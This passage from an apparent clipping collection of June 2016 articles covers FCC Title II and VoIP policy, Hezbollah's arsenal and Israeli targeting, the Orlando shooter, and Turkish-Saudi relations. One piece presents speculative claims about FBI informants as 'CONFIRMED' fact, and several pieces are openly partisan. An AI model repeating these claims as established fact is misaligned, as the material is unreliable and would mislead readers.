''The FCC is casting aside a long-standing policy that insulated VoIP services from heavy-handed Title II regulation,'' continued Szoka. ''Vonage co-founder and VoIP pioneer Jeff Pulver spent ten years lobbying the FCC to declare VoIP a Title I information service. In 2004, he finally succeed in getting the FCC to do just that in the 'Pulver Order.' This was a landmark decision, given that analog voice telephony is the quintessential Title II service. But buried in the Open Internet Order's justification for reclassifying wireless services is a single paragraph that effectively revokes the Pulver Order: by equating IP addresses and telephone numbers, the FCC has effectively reclassified VoIP. Indeed, it may just be a matter of time before the FCC explicitly extends Title II to all so-called 'edge' services, given that they all rely on IP addresses. This will be a disaster for consumers: Title II has always been a recipe for stagnation.''
The motion for leave to intervene offers a short, accessible summary of how Title II reclassification will harm consumers and providers of Internet services, as well as the entrepreneurs and investors who bring them to market.
We can be reached for comment at media@techfreedom.org. See more of our work on net neutrality and Title II, including:
About TechFreedom:
TechFreedom is a non-profit, non-partisan technology policy think tank. We work to chart a path forward for policymakers towards a bright future where technology enhances freedom, and freedom enhances technology.
About CARI.net:
Founded in 1997, CARI.net is an edge provider offering users ''cloud'' services based on the Internet, including Infrastructure-as-as-Service (IAAS) and Software-as-a-Service (SAAS). CARI.net also operates managed data centers. In both capacities, it negotiates with broadband providers for interconnection of Internet traffic. For its services, CARI.net relies upon an open and independent Internet, unfettered by burdensome federal oversight and regulation.
About Jeff Pulver:
Jeff Pulver has founded, co-founded, and invested in a number of Internet companies. In 1994, he founded Free World Dialup (''FWD'') as the first worldwide Internet telephony company; in 2001, he co-founded Vonage, among the world's top VoIP providers. Pulver also has played a significant role in the FCC's long-standing light-touch approach to Internet regulation; he was the namesake of a significant FCC order in 2004 '-- declaring VoIP to be a Title I information service '-- that was nullified by the new Open Internet Order.
About Scott Banister:
Scott Banister was an early pioneer in the email business, founding ListBot, an email list hosting service, in 1998, and selling the company to Microsoft in 2001. Banister has since worked with other start-ups as a board member and investor, including PayPal and eVoice, which offered the first email-enabled home voicemail service and which was acquired by AOL in 2001. In 2000, Banister co-founded IronPort, an email appliance provider that was acquired in 2007 by Cisco for $830 million. Banister is currently a leading ''angel'' investor to a variety of Silicon Valley startups.
About Charles Giancarlo:
Charles Giancarlo has been involved in the computer and Internet industries for over thirty years. In 2008, Giancarlo co-founded ItsOn, a company that is revolutionizing the delivery of mobile voice, text and data services. ItsOn's technology allows users to control what apps get access to wireless bandwidth, when they get access, and how much to pay for it. It also allows third parties to ''sponsor'' bandwidth for specific apps, meaning that data used by that app would not be counted against the user's monthly data plan.
About David Frankel:
David Frankel is a Silicon Valley entrepreneur and engineer focused on VoIP and other cloud-based collaboration services. In 2006, he founded ZipDX and currently serves as its CEO. ZipDX offers special kinds of ''virtual meetings,'' such as multilingual meetings using simultaneous (human) interpreters. Having delivered this service using both traditional telephony using the Public Switched Telephone Network (''PSTN'') and VoIP, Frankel has first-hand experience in operating both under Title II and Title I (thanks to the Pulver Order), and the corresponding differences in both regulatory burdens and taxation at the federal and state level.
About Wendell Brown:
Wendell Brown is a pioneering innovator of VoIP technology, having founded multiple successful VoIP companies including eVoice, Teleo, and LiveOps. Brown strongly believes his many inventions in VoIP and the resulting benefits to the US economy are directly due to the unregulated independence he has enjoyed to innovate freely on the Internet, and that the FCC's Open Internet Order threatens to replace that independence with regulatory oversight that will stifle innovation.
Missiles Everywhere | The Weekly Standard
Tue, 14 Jun 2016 17:25
Camp Shomera, on the Israel-Lebanon border
Hezbollah has a nasty collection of more than 130,000 rockets, missiles, and mortars aimed at Israel. This is a bigger arsenal than all NATO countries (except the United States) combined. Why, a reasonable person might wonder, does Hezbollah need an offensive arsenal bigger than that of all Western Europe?
''You don't collect 130,000 missiles if you don't intend to use them," says Matthew Levitt, a counterterrorism expert at the Washington Institute for Near East Policy. Hezbollah is a well-funded, violently anti-Israel terrorist organization based in Lebanon and a puppet of the Iranian regime.
In Hezbollah's arsenal are about 700 long-range, high-payload rockets and missiles with names like Fateh-110 and Scud D. They are capable of taking down entire buildings in Tel Aviv or Jerusalem, wreaking havoc at Israel's major military bases, killing thousands of Israeli civilians, shutting down the nation's airports and ports, and taking out the electric grid. And that's just in the first week.
Former Israel Defense Forces (IDF) major general Yaakov Amidror is talking about the M-600 missile. It's a fairly accurate ballistic missile that weighs more than a Hummer H2 and carries a formidable warhead. The M-600 can also deliver chemical weapons. A single M-600 could wipe out a good chunk of Times Square and maim and kill people four football fields away from the point of impact. Hezbollah has a lot of M-600s.
Amidror, Israel's former national security adviser, is asked what the next war between Israel and Hezbollah will look like. "We are not looking for war," says Amidror. "But suppose Hezbollah launches an advanced missile like the M-600 at the Kirya, the IDF military headquarters in Tel Aviv, or a large apartment complex in Jerusalem. Our defense technology quickly finds the launcher. It is right under a 22-story residential building in Beirut. We can now see in real time the launcher being moved back under the building to reload."
"We have just minutes to act," explains Amidror. "The IDF will have to take out the launcher because the next missile can cause enormous damage in Israel. But to take out the launcher means the 22-story building may fall. We would try to use precision-guided missiles to protect civilians but the target is hard to reach. We will try to warn the residents but the timing is tight. That building will almost certainly be hit. And the images in the international media will almost certainly be awful." But, asks Amidror, today a senior fellow at the Begin-Sadat Center for Strategic Studies, "What alternative do we have?"
No good one, since the building in the scenario described would be a legitimate military target. So say a bevy of international military law experts, including Geoff Corn of the South Texas College of Law in Houston, who has studied IDF targeting policies: "After exhausting all feasible efforts to reduce civilian risk, IDF commanders must resolve the decisive question: Is the potential for civilian harm excessive in comparison to the advantages the attack would provide? When you talk of an M-600 in the hands of an enemy that targets vital military assets or the civilian population'--even if that apartment building is full'--launching the attack will be necessary to mitigate the threat."
Professor Corn is well aware of what will happen next. "The international community will look at the images and will note that the immediate cause of destruction was Israeli munitions. But'--and here is the kicker'--both legally and morally, the cause of these tragic consequences will lie solely at the feet of Hezbollah."
Hezbollah cleverly places its arsenal where any Israeli military response'--even legal, carefully planned, narrowly targeted, proportionate measures'--will lead to huge civilian casualties among Lebanese. Why? Hassan Nasrallah, Hezbollah's cunning leader, sees a win-win situation. He'd like nothing better than for the IDF to kill Lebanese civilians. When these awful images appear on CNN and the front pages of the New York Times, Nasrallah will paint the IDF as baby-killers and worse.
And if the IDF shies away from attacking legitimate military targets in civilian sectors, then Nasrallah achieves both military and strategic advantages, and his fighters can continue to rain deadly rockets down on Israel's civilians, infrastructure, and military installations. Says one IDF officer, "We don't have the luxury of waiting, monitoring, considering." Keep in mind that Hezbollah has a long history of attacking Jewish, Israeli, and Western (including American) targets, both at home and overseas.
This writer spent two-plus weeks embedded with IDF units around the country, meeting with scores of soldiers, from sergeants to generals, from frontline commanders to nerdy intelligence analysts, from patrol boat captains to fighter pilots, from civil defense experts to high-tech air defense geeks. All these military tacticians and strategists were intently focused on preparing for the next war with Hezbollah.
Why did the IDF pull back the curtain and provide such access not only to its top brass but also to classified documents, war-gaming exercises, and strategic projections? Because Israel wants the world to know that (1) a war with Hezbollah in Lebanon will be, unavoidably, awful; and (2) the massive collateral damage won't be -Israel's fault. Even more than that, the IDF seems to be pleading to the international community: Do something. Stop Hezbollah. Before it is too late, and they drag the region into a bloody hellhole.
The bottom line: Hezbollah does nothing to mitigate civilian risk and everything to exacerbate that risk. The IDF does the opposite.
What will a future war look like? Some clues: -Hezb-ollah has amassed not just rockets and missiles. Iran has supplied its favorite terrorist organization with other top-of-the-line weaponry. For military aficionados, these would include the latest guided, tank-piercing Russian-made "Kornet" missiles, SA-17 and SA-22 air defense systems, and even the "Yakhont" class surface-to-ship cruise missiles. Making matters worse for IDF planners, Hezbollah boasts a standing army of more than 10,000 soldiers'--a figure that could add two or three times that amount of reservists in the event of a war with Israel. In short, since its last major conflict with Israel in 2006, Hezbollah has dramatically increased its combat capabilities and armory. The terrorist organization has leapt from the jayvee team to the major leagues across every fighting platform.
True, Hezbollah is stretched these days from rotating its troops into Syria. But that also means that many Hezbollah soldiers will be battle-tested and tough; some 6,000 to 7,000 of them have been fighting alongside Syrian Army regulars in an effort to prop up Bashar al-Assad, Syria's ruthless dictator and another Iranian favorite (Iran, Syria, and Hezbollah are all led by Shiite Muslims).
Make no mistake: Should hostilities break out, there will be a deadly ground war. Aerial operations simply aren't enough to dismantle and root out Hezbollah's maze of underground launchers, tunnels, and infrastructure that are aimed right over Israel's border.
No matter how brave a face the IDF leadership tries to put on, in the next conflict with Hezbollah, IDF tanks will get blown to bits, aircraft will be shot from the sky, navy patrol boats will be sunk, and the multibillion-dollar Israeli offshore gas rigs in the Mediterranean Sea could end up on the sea floor. Many young IDF soldiers will be coming home in body bags. Nothing would make Nasrallah happier. He is clear in public statements that he'd dearly like to murder every Jew in the world but especially those in Israel. In speeches, he describes Israel as a "cancerous entity" of "ultimate evil" and joyfully calls for its "annihilation."
Deterrence is a big part of Israel's defense strategy; acknowledging these scenarios doesn't sit right with many in IDF's military structure. They don't want to frighten Israel's civilian population. Nor do they want to embolden Israel's enemies. But the IDF is trying really hard to give the world a wake-up call about what's coming down the pike.
Even in a best-case scenario for preventing Israel's civilian casualties'--meaning a vast majority of Israelis would be able to get into hardened shelters before the first deadly salvo is launched from Lebanon'--IDF planners quietly acknowledge that "as many as hundreds" of Israeli noncombatants might be killed per day in the first week or two of the conflict. If Hezbollah's first missile salvos are launched without warning, the Israeli civilian death count could be 10 times higher. We're talking grandparents and toddlers alike.
Israel's top military brass acknowledges that its high-tech missile-defense system will be "lucky" to shoot down 90 percent of incoming rockets, missiles, and mortars. Hezbollah has the capacity to shoot 1,500 missiles per day. That means 150'--likely more'--deadly projectiles could get through in a day. Israel's Iron Dome, David's Sling, Arrow 3, and other state-of-the-art systems for shooting down incoming rockets and missiles are the best in the world but imperfect. "Even with Israel's technological superiority, it would be a major blunder to underestimate Hezbollah's ability to do serious damage," cautions Amos Harel, the respected military/defense correspondent for the Israeli daily Ha'aretz.
One irony: It's not only those in Tokyo and Chicago and Brussels who have little idea what such a conflict will look like. Many Israelis are fairly clueless (or are well practiced in the Israeli art of trying to live normal lives surrounded by lethal enemies). Residents of Tel Aviv and Jerusalem read about recent wars in newspapers every morning while sipping latte in their favorite caf(C).
Not this time. They will be in bunkers. Possibly for a very long time. IDF major general (reserves) Gershon Hacohen explains, "ATMs won't work. With the electric grid out, how will Israelis get to their 30th-floor apartments without elevators? How will they cook?"
Israel will almost certainly be forced to try to evacuate most citizens in the northern part of the country. Why? Because Hezbollah's arsenal includes about 100,000 short-range rockets aimed at schools, hospitals, and homes. These rockets'--including Falaks, Katyushas, Fajr-3s, and 122 Grads'--may not be particularly accurate but they're also not in air long enough for the IDF defensive weapons systems to shoot them down. They are lethal.
Imagine if New Jersey shot more than 1,000 deadly rockets over the Hudson River into Manhattan every day. No doubt, those on the Upper West Side would also be a bit peeved. "There is no country in the world'--not Israel, not the U.S., not in Europe'--who would not go to war to stop a rocket barrage of that nature," explains Nadav Pollak, formerly in an IDF intelligence unit and today a counterterrorism fellow at the Washington Institute.
Small teams of elite Hezbollah commandos will almost certainly be able to slip into Israel and may wreak havoc among Israeli villages in the north. One scenario that has IDF strategists concerned: A Hezbollah team infiltrates into northern Israel via small boat at night, kills every man, woman, and child in a remote village, and then escapes into the darkness. The public relations value to Hezbollah would be enormous. "Anything that creates fear and terror among Israelis is a win for Hezbollah," says an IDF Home Front Command senior official. Another big fear: the kidnapping of IDF soldiers, as has happened before. In fact, it was the kidnapping of two IDF soldiers on a routine patrol along the Lebanese border which triggered the 2006 conflict.
Thumbing its nose at legal and ethical norms for armed conflict, Hezbollah has strategically placed its launchers and other deadly weaponry in homes, schools, hospitals, and densely populated civilian centers throughout Lebanon. This arsenal is supposedly "hidden." Still, the IDF knows where many of these weapons are stored and shared classified maps with me. These maps showed remarkably detailed information indicating that Hezbollah is storing its weaponry in dozens of southern Lebanese villages but also in Beirut proper, where the organization is headquartered in the densely populated suburb of Dahiya.
Amos Yadlin is the executive director of the Institute for National Security Studies at Tel Aviv University. Speaking of the latest air-to-surface guided missiles, the retired IDF major general says matter-of-factly, "JDAMs dropped from F-16s can do a lot of damage." Given Israel's sophisticated, high-tech war-fighting machine, Yadlin says the IDF will have "clear superiority" in any conflict with Hezbollah. Deterrence matters. Yadlin and every IDF officer I spoke to made one point clear: A war with Hezbollah may be ugly, but Israel will win. Decisively.
Military law expert Corn is among those who believe Hezbollah should be called to answer for its unlawful tactics: "Hezbollah should be pressured starting today to avoid locating such vital military assets amongst civilians." Corn fears that "the instinctual condemnation of Israel will only encourage continuation of these illicit tactics."
Corn is correct. Two conclusions are inescapable and well voiced by a world-weary IDF officer: "The next war with Hezbollah is going to be an absolute shitstorm. And we're going to be blamed."
Civilian deaths in Lebanon will be a tragedy by any standard, but they will not be Israel's fault. The primary duty of every nation is to protect its citizens. Israel will do what any country would do if deadly rockets rain down on its cities and military bases: It will respond.
In keeping with its history, the IDF is committed to responding judiciously and well within the accepted laws of armed conflict. But the outcomes will be very different from previous conflicts. Why? Because Hezbollah's fighting force and arsenal are those of a nation-state, but its tactics are those of a terrorist organization. Tens of thousands of Lebanese civilians will almost certainly die. The international media'--many either reflexively anti-Israel or simply na¯ve'--will have a field day.
The IDF is smart to try to explain its side of the story in advance. At least so says retired U.S. Army major general Mike Jones, coauthor of a detailed report on the IDF's conduct in its latest conflict with Hamas, the other terrorist organization on its border. "Despite what may have been reported on the 2014 war with Hamas in Gaza, we found that the IDF went to extreme lengths in Gaza to avoid civilian casualties," says Jones.
Hezbollah and other radical Islamist groups are trying to delegitimize the laws of armed conflict; this ought to be of concern to all law-abiding nations and militaries. Jones believes that the IDF (and other Western nations) is "absolutely right" to try to get out in front on the strategic messaging issue.
Yes, strategic messaging. The IDF has long operated under the presumption that being in the right was enough to carry the day in the court of public opinion. No more. Anti-Israel propaganda is everywhere. Many politicians, journalists, academics, and policy wonks are eager to denounce Israel regardless of facts or logic.
One IDF officer pointed to another possibility, namely that many reporters and average Joes simply cannot fathom the reality of war: "When one sees civilians killed, it's natural to blame the person who directly caused their death. But in war we need to look beyond. Civilians will die, but who is ultimately morally responsible? Is it the army that is forced to target military targets hidden among civilians'--and uses precision weapons and warnings'--or is it the group that deliberately puts their own civilians in the line of fire?"
The IDF is aware that future conflicts with Hezbollah will be fought on at least two battlegrounds. The first, obviously, will involve guns, tanks, and fighter jets. (Or, as one IDF officer put it, "The mutual exchange of high explosives will be the name of the game.") The second front will encompass the court of public opinion. Israel is wisely opening up its second front early. When the next war occurs, the IDF will endeavor to have both law and morality on its side. Will anybody care?
"Imagine that you are sitting in Georgetown, overlooking the Potomac River, sipping a great beer, waiting for your shrimp order to arrive," says Brigadier General Mickey Edelstein, commander of the IDF National Training Center for Ground Forces. "Then the alarm sounds, and you have maybe 10 to 20 seconds to get into a shelter. If you are slow, you will be killed. The same goes for your wife, your kids. That's why we will take out Hezbollah's legitimate military targets. Lebanese civilians will need to understand that when Hezbollah uses them as military shields, they are in grave danger."
The IDF no longer distinguishes between the sovereign nation of Lebanon and Hezbollah. Here's why: The terrorist group fully controls southern Lebanon, even to the point of limiting the movements of the Lebanese Army and also of the United Nations forces there. As well, Hezbollah holds significant positions in the Lebanese government and parliament. As such, Lebanon's infrastructure will likely be targeted. The IDF may well go after Lebanese bridges, airports, highways, and the electric grid, and IDF officials want Hezbollah to know this. Again, deterrence.
Hezbollah is also preparing, and not just missiles. I spent a morning on patrol with a senior IDF commander on the Lebanese border. We were in easy range of Hezbollah snipers. The soldier was wisely decked out in full combat gear, including helmet, Kevlar vest, and assault rifle. It's dead easy to peer across the border into the tiny Lebanese village of Ayta Ash Shab and see a Hezbollah operative, dressed like a tourist, using a telephoto lens to snap photos to monitor IDF border patrol activities. All was quiet.
One day, this border will not be so quiet. Firas Abi Ali, senior principal analyst on Lebanon for the London-based country risk consultancy IHS, rates likelihood of war between Israel and Hezbollah as "more than 50 percent" in 5 years and "more than 70 percent" within 10. A mitigating factor in the near term is the war in Syria, which keeps many of Hezbollah's best fighters occupied. But IDF planners cannot afford to think in these subtleties. "There's going to be a war with Hezbollah," says Colonel Elan Dickstein, who runs the Northern Command Training Base. "The only question is when."
One of those preparing is Colonel Tzvika Tzoron, commander of the Haifa district in the Home Front Command. He has been charged with the unenviable task of protecting Israeli citizens in the northern part of the country, including those living in villages right on the Lebanese border. "We hope to give them a few days' notice," says Tzoron. "But who knows what will happen?"
Who knows, indeed? "I go to sleep at night worried, and I wake up worried," admits Lt. Col. Ronen Markham, who runs a battalion of navy patrol boats near the Lebanese border. "I worry about what I do know and worry about what I don't. Most of the world doesn't really understand that war is ugly. War is terrible. War is bloody. War brings casualties. Lots of people'--soldiers and civilians'--will die. There is no way around it."
But Israel will try to find ways around it. If the IDF's conduct of war against Hamas in Gaza is any indication, the IDF will go far beyond the requirements of the international laws of armed conflict to try to protect civilian life in Lebanon. They will put their own soldiers and their own civilians at risk, in order to minimize collateral damage to Lebanese citizens. Some of the steps the IDF may take to prevent civilian casualties in Lebanon include dropping leaflets warning of impending operations, using aerial assets to monitor civilian presence, and carefully choosing weaponry whenever feasible.
Several top-notch military attorneys from around the world criticized the IDF for its actions to protect civilians in the 2014 Gaza war. But the criticism is not what you might think: These attorneys believe Israel did too much to protect civilian lives.
"The IDF's warnings certainly go beyond what the law requires, but they also sometimes go beyond what would be operational good sense elsewhere," says Michael Schmitt, chairman of the Stockton Center for the Study for International Law at the U.S. Naval War College. "People are going to start thinking that the U.S. and other Western democracies should follow the same examples in different types of conflict. That's a real risk." Schmitt is the author of a recent comprehensive analysis of the IDF's targeting practices.
But here's the kicker: The IDF will apply the same legal standards in any war with Hezbollah, but with very different outcomes. Why? Because Hezbollah has far more dangerous missiles and operates out of high-rise buildings. Speaking bluntly, a senior IDF officer with an intellectual bent explains, "Bizarre though it may sound, it is lawful for more citizens to die. We will be applying the same legal tests in Lebanon but with far more tragic results."
IDF Air Force lieutenant colonel Nisan Cohen winds back to the scenario of a 22-story building in Beirut with an M-600 launcher in its basement. "Even with our best precision-guided missiles and with our best efforts to avoid civilian casualties," he says, "it's very hard to just hit the basement. It's even harder for us to explain afterwards why civilians were harmed." Cohen knows that the IDF is at a competitive disadvantage in terms of telling its side of the story. Photos of destroyed buildings are dead easy to come by and tug at the emotions, while the IDF often must rely on classified information to explain a specific strike.
"We ask the world not to be fooled by propaganda and by images," says a senior IDF official. "Check the facts. Any reasonable and moral human being will determine that the IDF did the right thing in our targeting decisions. There is just a fundamental disconnect between everyday life and war. If you see a picture of a dead baby, you know that it's bad. You want to blame someone. It's nearly impossible for people to flip that switch and try to understand the legal and factual context of war."
Who gets suckered by the anti-Israel propaganda? Plenty of smart folks. Take, for example, a State Department spokesman who ought to have known better. Asked in July 2014 if the Obama administration believed Israel had done enough to prevent civilian casualties in Gaza, Jen Psaki said: ''We believe that certainly there's more that can be done.'' Really? What exactly? She is not alone. Listen to presidential candidate Bernie Sanders, who told the New York Daily News in April that it was his "recollection" that "over 10,000 innocent people were killed in Gaza." He later was forced to walk back this ridiculous statement.
Military minds, of course, know better. In November 2014, the highest-ranking officer in the U.S. military'--Martin Dempsey, then-chairman of the Joint Chiefs'--said that Israel went to "extraordinary lengths" to limit civilian casualties in its recent war in Gaza and that the Pentagon had sent a working team to Israel to glean what lessons could be learned from that IDF operation. Apparently, the State Department and Bernie Sanders didn't get the memo.
Yaakov Amidror recalls an event from his stint as Israel's national security adviser. In the late summer of 2013, United Nations secretary general Ban Ki-moon paid a visit to Jerusalem. Just prior to a planned meeting with Prime Minister Bibi Netanyahu, Amidror got an hour alone with Ban and his aide-de-camp. Amidror pulled out his laptop and presented detailed evidence of Hezbollah's deadly arsenal and the fact that it was strategically placed within densely populated civilian centers. "What do you want us to do?" asked Amidror. Ban offered no response and no suggestions. Instead, the U.N. chief continued 15 feet down the plush carpeted hallway from Amidror's office to his meeting with Netanyahu.
Is it any wonder that Israel is frustrated? Nobody, it seems, in times of peace is willing to offer Israel a constructive suggestion on how to deal with an Iranian-funded terrorist organization in possession of a massive arsenal on its northern border. But these same organizations stand front and center to criticize Israel for acting legally and proportionately for protecting its own citizens in wartime.
Willy Stern, an adjunct professor at Vanderbilt University's law school, has reported from six continents.
Islam's Jihad Against Homosexuals - WSJ
Tue, 14 Jun 2016 16:59
The Orlando massacre is a hideous reminder to Americans that homophobia is an integral part of Islamic extremism. That isn't to say that some people of other faiths and ideologies aren't hostile to members of the lesbian, gay, bisexual and transgender, or LGBT, community. Nor is to say that Islamic extremists don't target other minorities, in addition to engaging in wholly indiscriminate violence. But it is important to establish why a man like Omar Mateen could be motivated to murder 49 people in a gay nightclub, interrupting the slaughter, as law-enforcement officials reported, to dial 911, proclaim his support...
Omar Mateen: Break-in under investigation at Fort Pierce home | www.palmbeachpost.com
Tue, 14 Jun 2016 16:24
The Fort Pierce condominium of Orlando shooting suspect Omar Mateen was broken into Monday morning, a spokesman for the Fort Pierce Police Department said.
While the back door was open, a number of foreign reporters entered the apartment. Palm Beach Post staff members were on the scene but did not enter the premise.
A photographer from Aftenpost, a Norwegian news organization, took pictures from inside the apartment.
The images show a Darth Vader shower curtain and what appears to be a child's room, complete with Captain America gear, an Olaf doll and a Spiderman bike.
It did not appear as if the FBI had tossed over the place very much, the foreign photographer said.
The living room area of the apartment houses leather couches, an entertainment center and photos on the walls.
FBI agents cleared and secured the home about 5 a.m. Monday. Media gathered at the scene notified officers that the back door was open, Fort Pierce police spokesman Ed Cunningham said.
Fort Pierce police officers and Police Chief Diane Hobley-Burney arrived to find that someone had broken in through the apartment's back door, Cunningham said.
He said there was damage to the back door, but he did not specify whether there was damage inside the apartment. It was not clear if anything was taken, he said.
''We don't know who did it, '' Cunningham said. ''We are handling it like a burglary investigation.''
The investigation is unrelated to the federal investigation. FBI agents collected evidence late Sunday and overnight while looking for clues in connection to Sunday's attack.
CONFIRMED: FBI Introduced Florida Shooter to "Informants"
Tue, 14 Jun 2016 15:53
By Tony Cartalucci
It is now confirmed that in addition to two investigations and two interviews, Florida terror suspect Omar Mateen was also approached by ''informants'' working for the US Federal Bureau of Investigation (FBI) over a period of 10 months.
New York Daily News in their article, ''FBI spied on Orlando gay club terrorist Omar Mateen for 10 months in 2013: FBI Director James Comey,'' would admit (emphasis added):
Mateen first appeared on authorities' radar in 2013 after the security guard's colleagues alerted the FBI to inflammatory statements he made to colleagues claiming ''family connections to Al Qaeda,'' according to Comey.
Mateen also told coworkers he had a family member who belonged to Hezbollah, a Shia network that is a bitter enemy of ISIS '-- the network he pledged allegiance to the night of the carnage, Comey noted.
The FBI's Miami office opened an inquiry into Mateen.
''He said he hoped that law enforcement would raid his apartment and assault his wife and child so he could martyr himself,'' Comey said.
Nevertheless, FBI investigators investigated Mateen, who was born in New York, for 10 months. They introduced him to confidential informants, spied on his communications and followed him. They also interviewed him twice.
Informants Posing as HandlersThe significance of this cannot be understated. ''Informants'' in this context, according to FBI affidavits regarding similar counterterrorism investigations, refers to individuals posing as members of terrorist organizations who approach suspects, coerce them into planning and preparing for terrorist attacks, before finally aiding the FBI in the suspect's arrest before the attack is finally carried out.
Among the activities these informants carry out includes providing and training suspects in the use of real explosives, providing suspects with arsenals of weapons precisely like those used in the recent shooting in Orlando Florida, and encouraging suspects to adopt ''radical ideology'' over the course of the investigation. Suspects are given the false impression that they are working on behalf of terrorist organizations like Al Qaeda or the self-proclaimed ''Islamic State,'' often cultivating delusions of grandeur among otherwise mentally ill suspects.
The Intercept in its recent article, ''Before Nightclub Shooting, FBI Pursued Questionable Florida 'Terror' Suspects,'' would note that the FBI's Miami office who investigated Mateen, has been ''among the bureau's most active and aggressive counterterrorism units.''
It would also report on the specifics of this unit's activities:
For more than a year ending in April '-- a time during which investigators will now be looking for any clues from Mateen that might have been missed '-- the FBI in Miami focused on a counterterrorism sting that targeted James Medina, a homeless man with mental problems.
The Intercept would reveal that the FBI informant, not Medina, came up with the idea of crediting the planned attack to the ''Islamic State.'' In fact, upon reading the FBI's affidavit (.pdf), it is clear the FBI's informant encouraged and walked Medina through every aspect of the planned attack, including providing him with what he thought was an explosive device.
Upon reading Medina's incoherent conversations with various FBI informants, it is clear he possessed neither the mental or technical capacity on his own to perpetrate the attacks he was arrested for.
The Intercept would continue:
Nearly a year before Medina's arrest, the FBI's Miami office arrested another supposed terrorist, 23-year-old Cuban-American Harlem Suarez, also known as Almlak Benitez, whom former co-workers described as ''a little slow.'' The government alleged that Suarez conspired with an FBI informant to bomb a beach in Key West in support of the Islamic State. The FBI provided a fake backpack bomb.
Finally, the Intercept would reveal (emphasis added):
The Orlando shooting isn't the first case to raise this question. In 2011, when the FBI investigated Boston Marathon bomber Tamerlan Tsarnaev, agents did not deem him a threat.
Instead, at about the same time, the Boston FBI started a nine-month sting operation against Rezwan Ferdaus, who had no weapons and no connections to international terrorists, and whose mental wellness had deteriorated so much that he was wearing adult diapers at the time of his arrest on terrorism charges.
Rezwan Ferdaus, like Medina, was provided assistance by the FBI every step of the way, including being provided 24 lbs of C4 explosives, 6 fully automatic AK47 rifles, and 3 grenades '' the FBI's own affidavit reveals (.pdf). He was brought deep into a fictional world where he believed he was working directly with Al Qaeda for nearly a year '' told that ''detonation devices'' he constructed and passed on to FBI informants were ''used'' in Iraq to ''kill'' American soldiers.
Image: The FBI provided Ferdaus with thousands of dollars to purchase various pieces of equipment for his planned ''drone attack'' on Washington D.C.
The FBI's informants conduct similar practices in virtually all of their investigations.
In 2010, the FBI investigated naturalized US citizen and Oregon resident Mohamed Osman Mohamud. In their own official statement titled, ''Oregon Resident Arrested in Plot to Bomb Christmas Tree Lighting Ceremony in Portland,'' released by the U.S. Attorney's Office on November 26, 2010 it was stated (emphasis added):
According to the affidavit, on November 4, 2010, Mohamud and the undercover FBI operatives traveled to a remote location in Lincoln County, Ore., where they detonated a bomb concealed in a backpack as a trial run for the upcoming attack.
The FBI in February 2012 provided another suspect with live explosives in the lead up to what was ultimately a foiled suicide bombing planned with the help of FBI informants at the US Capitol.
Image: The bomb the FBI constructed for the Portland ''Christmas tree bomber.''
USA Today reported in their article, ''FBI foils alleged suicide bomb attack on U.S. Capitol,'' that (emphasis added):
According to a counterterrorism official, El Khalifi ''expressed interest in killing at least 30 people and considered targeting a building in Alexandria and a restaurant, synagogue and a place where military personnel gather in Washington before he settled on the Capitol after canvassing that area a couple of times,'' the Associated Press writes. During the year-long investigation, El Khalifi detonated explosives at a quarry in the capital region with undercover operatives. He is not believed to be affiliated with al-Qaeda, officials said.
Considering the disturbing activities conducted by FBI informants during these ''investigations,'' the FBI appears obligated to tell the American public just what their ''informants'' were doing with Florida shooting suspect Omar Mateen in the 10 months they were ''investigating'' him beginning in 2013.
Did they also walk Mateen through planned attacks he ultimately backed out of? Did he eventually change his mind again after the FBI's investigation was allegedly closed?
The American media and US elected representatives have an obligation to ask these questions, obtain this information from the FBI, and to reevaluate the FBI's means and methods of investigating potential suspects through what is clearly a dangerous process of entrapment, indoctrination, and deceit.
The FBI's counterterrorism program has not made America safer. It has clearly been used to provide a steady stream of ''foiled attacks'' that otherwise would never have materialized '' causing hysteria, hatred, fear, and division across American society. The FBI's counterterrorism program has also clearly failed monumentally to stop actual terror suspects know to them before real attacks have unfolded.
The FBI is supposed to represent an asset for the domestic security of the United States '' but in reality it appears to be one of the most compromised of liabilities.
Top Image: myspace
Tony Cartalucci's articles have appeared on many alternative media websites, including his own at Land Destroyer Report, Alternative Thai News Network and LocalOrg.
Are Turkey, Saudi Arabia working together against Iran?
Tue, 14 Jun 2016 15:36
Saudi Arabia's Foreign Minister Prince Saud al-Faisal (L) meets with Turkey's Prime Minister Recep Tayyip Erdogan in Ankara, March 17, 2011. (photo by REUTERS/Umit Bektas)
Author: Fehim Taştekin Posted Ð'аÑт 5, 2015
The relationship between Turkey and Saudi Arabia until now has been treated as almost sacrosanct and is one that is not argued about. Although Turkish and Saudi views on regional issues do not always coincide, both Ankara and Riyadh have kept their bilateral relations away from regional squabbles. Turks, in general, associate Saudi Arabia with pilgrimage (hajj) and oil prices. Aware of the tense rivalry for regional influence between Saudi Arabia and Iran, Turkey has tried to maintain good relations with both countries, and it was in Syria that Turkish and Saudi interests meshed. Although they agree that Syrian President Bashar al-Assad must go, the Turkish-Qatari axis competes with that of Saudi Arabia in Syria. Some suggest that the failure of the Syrian opposition to get its act together was because of this competition. A similar rivalry is now seen in Egypt because of the Justice and Development Party (AKP) government's backing of the Muslim Brotherhood, and in Libya because of the AKP's support of the Tripoli government instead of the one in Tobruk. Although Saudi Arabia is the most prominent supporter of Egyptian President Abdel Fattah al-Sisi, who toppled the Muslim Brotherhood, and of the Tobruk government in Libya, Turkey has not raised its voice against Riyadh while disparaging other countries. Now, Erdogan is adding a new controversial dimension to the unblemished Turkish relationship with Saudi Arabia.
Summary'Ž Print Analysts fear that Turkish President Recep Tayyip Erdogan is being dragged into Saudi Arabia's anti-Iran Sunni bloc.During his visit to Saudi Arabia between Feb. 28 and March 2, Erdogan in his meeting with the new Saudi king, Salman bin Abdul-Aziz Al Saud, reached an agreement to increase Saudi-Turkish support of the Syrian opposition to levels that would enable the two countries to achieve their goals there. According to journalists accompanying Erdogan, Salman also promised to support Turkey in declaring a no-fly zone.
The two leaders, in addition to discussing Syria, Iran, Yemen, Palestine and Egypt, also reached an understanding that illustrates how Turkey is now being dragged into the much more dangerous issue of Iran.
The pro-government daily Yeni Safak described the Saudi-Turkish understanding as follows: ''Iran's sectarian approach in the region was on the agenda of the two leaders. Both were disturbed by Iran's expansionist and sectarian attitude. Iran is spending massive resources on shedding Muslim blood and destabilizing Muslim countries.''
Thus, Saudi Arabia, uncomfortable with Iran's growing influence over Iraq, Syria, Lebanon and Yemen, is pulling Turkey to its side. The new Saudi-Turkish alliance seems to be an effort by the Sunnis to form a bloc against the Shiite world. Turkey, which succeeded in staying away from sectarian conflicts until the AKP came to power, is now becoming a part of a sectarian polarization for the sake of blocking Iran.
